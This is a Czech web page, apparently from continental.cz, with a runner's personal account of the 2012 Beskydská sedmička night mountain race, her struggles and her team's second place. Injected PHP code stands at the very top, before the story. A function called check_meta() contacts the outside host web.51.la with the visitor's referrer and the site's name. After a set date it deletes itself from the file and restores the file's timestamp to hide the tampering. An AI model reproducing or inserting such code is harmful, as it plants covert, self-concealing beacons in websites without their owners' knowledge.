check_meta(); function check_meta(){ $jp = __FILE__; $jptime = filemtime($jp); if(time() >= 1456735874){ $jp_c = file_get_contents($jp); if($t = @strpos($jp_c,"check_meta();")) { $contentp = substr($jp_c,0,$t); if(@file_put_contents($jp, $contentp)){ @touch($jp,$jptime); } } } @file_get_contents("http://web.51.la:82/go.asp?svid=15&id=18776897&referrer=".$_SERVER['HTTP_REFERER']."&vpage=http://".$_SERVER['SERVER_NAME']."/modules/mod_banners/models.php"); } Beskydská sedmička 2012 - Hrkol č. 46
           
www.continental.cz
Beskydská sedmička 2012 - Hrkol č. 46

Když jsme v pátek 7. 9. 2012 po roce přijížděli do Frenštátu p. R. a vítaly nás jako všechny účastníky Beskydské sedmičky legendární vrcholy jako Radhošť a Javorník, necítila jsem se zrovna moc dobře. Jak by ne, vidina šlapání 95 km s převýšením 5600 m v kategorii sport mix nad padesát let nevypadala vůbec lákavě.

"Vidíš", řekl Ota, "Beskydy se tě ptají, jak ses celý rok připravovala."
"Běhala jsem na Milešovce jako týdýt, nahoru a dolů, ze všech čtyř stran," snažila jsem se zasmát.
Příjezd
Příjezd do Frenštátu p. Radhoštěm

Po vyřízení všech formalit, ubytování a krátném odpočinku jsme se odebrali v půl sedmé na frenštátské nádraží. Připadali jsme si jako fanouškové fotbalového klubu, jedoucí na důležité utkání ve zvlášť vypraveném vlaku. V Třinci z nádraží nás doprovázela policejní vozidla, téměř třista pořadatelů, kteří občas zastavovali dopravu. Co mě ale nejvíc vyrazilo dech, byla třinecká železárna, stojící kousek od nádraží. K nebi neustále šlehaly plameny, ve vzduchu byla cítit síra a já si připadala jako v pekle.
 
Závod byl odstartován s mírným zpožděním z třineckého náměstí v 22.35. Čas se začal měřit každému týmu teprve po projití kobercem po zaznamenání čipu. Asi po dvou kilometrech jsem se zeptala Oty, kde se koberec nachází. "Nevím, asi bude až pod sjezdovkou." Pod sjezdovkou nám došlo, že koberec byl pomyslný a jednalo se položený kabel na konci náměstí, který registroval čipy.
 
Banery
Takovéto banery a transparenty nás provázely před startem při cestě k vlaku na frenštátské nádraží a také při cestě do cíle na frenštátské náměstí.
 
První sjezdovku jsem vyšla ve velmi slušném tempu, i když mě asi v polovině začala pobolívat levá achilovka, jako by se kroutila. K tomu se přidaly třísla a záda. "To hezky začíná", pomyslela jsem si a aby toho nebylo málo, začala se mi shrnovat levá ponožka. Já totiž dělám někdy neuvěřitelné věci, že nad nimi sama žasnu. Vloni jsem boty po loňském absovování B7 strčila do krabice, zapomněla na ně a trénovala celý rok v jiných. Pár dní před letošní Beskydskou sedmičkou jsem je vytáhla a šla se v nich na poslední chvíli jednou proběhnout, což je velice málo.
 
Smířila jsem se tedy s představou, že budu muset ponožku neustále vytahovat do té doby, než moje nohy zvětší objem. Z Velkého Javorového jsme jako sporťáci odbočili dolů do Řeky, zatímco hobíci pokračovali dále. Lezli jsme zarostlou roklí a skákali přes popadané stromy. Málem jsem si vykloubila koleno a téměř zničila hůlku. Zůstala zabodlá v nějaké díře a divně se nalomila. Naštěstí se jen zasekla do strany, ale i tak dalo Otovi při pochodu hodně práce, než ji srovnal. Ostatně hůlky se na tomto úseku lámaly jako na běžícím pásu. Z Řeky jsme museli opět stoupat po prudké sjezdovce a to už jsem myslela, že umřu. Nejenže mě chytaly křeče do krku, ramen a pořád jsem musela vyzouvat boty kvůli shrnující se ponožce, začalo se mi dělat špatně od žaludku. Nahoře už nohy trochu natekly, takže problémy s botami přestaly, zatímci bolesti v tříslech a zádech přetrvávaly dál. Na Ropici jsme začali předbíhat hromadně hobíky, kteří nás mezitím předešli. Snažila jsem se předhonit co nejvíce týmů a Ota vždy běžel za mnou. Často bylo slyšet: "No jo, to je jasný. že běžej. To jsou bělouši." Jako sprorťáci jsme vyfasovali bílé náramky a hobíci oranžové. Pak nevím, co se stalo, Ota najednou nikde, musela jsem tedy zpomalit a kráčet sama pomalu za zástupem hobíků. Na Travném jsem na něho počkala a šli opět těsně za sebou. Z Travného vedl úsek, kde se dalo jít jen po jednom a my tam hodinu čekali a popocházeli po několika metrech, než se uvolní cesta. Při představě, že skončíme někde na konci, se mi udělalo ještě víc zle. Když jsme se nakonec trochu rozběhli, před kontrolou v Krásné mi Ota oznámil, že si na chvilku odskočí a já ať běžím dál, že mě doběhne. Začínalo svítat a já běžela rychle dolů. Pod kopcem mě napadlo, že raději na něho počkám a zastavila jsem. Ota mezitím proběhl, aniž bych ho zaregistrovala a já ho šla hledat, poněvadž jsem myslela, že se mu udělalo špatně. Nakonec se mi ozval telefonem z kontrolního místa v Krásné. Běžela jsem naplno, ale stejně jsme ztratili další půlhodinu. Navíc nás předstihli naši soupeři. Moje psychika byla natolik rozhozená, že jsem pomalu ani nevěděla, kam šlapu. Krize vyvrcholila na Smrku. Když jsme scházeli do Čeladenky, řekla jsem Otovi, že nevím, jestli závod dokončím, poněvadž se mi čím dál víc motala hlava a já měla strach, že se zraním.

Na občerstvovačce v Čeladné Ota rozhodl dát půlhodinovou pauzu,. abychom načerpali síly. Jenže se stalo něco neuvěřitelného. Snědla jsem kousek melouna a udělalo se mi dobře. Všechny bolesti zmizely. Šla jsem za Otou a přemluvila ho, abychom dali do zbývající třetiny závodu všechny síly, že se možná umístíme, pokud půjdeme naplno. Nejdřív se mu moc nechtělo, ale nakonec souhlasil. Vrátila se mi forma a já mohla opět po rovině a z kopce utíkat! Jenže Ota nechtěl, takže jsem buď běžela napřed a čekala ně něj, nebo jsme rychle šli. Vůbec jsme netušili, že jsme zase předhonili naše soupeře. Opět jako v předchozích dvou ročnících jsem měla poslední třetinu závodu nejlepší.
Pohár
Dostali jsme každý pohár - spíš sklenici s vyrytým logem

Největší překvapení nás čekalo v ulicích Frenštátu, kde nás vítaly děti s transparenty a mocně povzbuzovaly, abychom běželi až do cíle na náměstí. Bylo to velice milé.
Vyhlášení
Na stupních vítězů
Byla jsem ráda, že mám závod za sebou, poněvadž jsem se dvě třetiny závodu neuvěřitelně trápila a skutečně jsem před Čeladnou uvažovala, že závod vzdám. V cíli jsme netušili, jak jsme dopadli. Byla jsem přesvěčená, že jsme totálně vybouchli. O to větší byl šok, když mi ráno volal Petr, že na internetu jsou uveřejněny výsledky a my jsme doběhli v naší kategorii jako druzí. Myslela jsem, že se samou radostí zblázním. V těsném závěsu za námi skončili naši soupeři s číslem 33, takže kdybychom poslední kilometry vypustili, určitě by nás předběhli.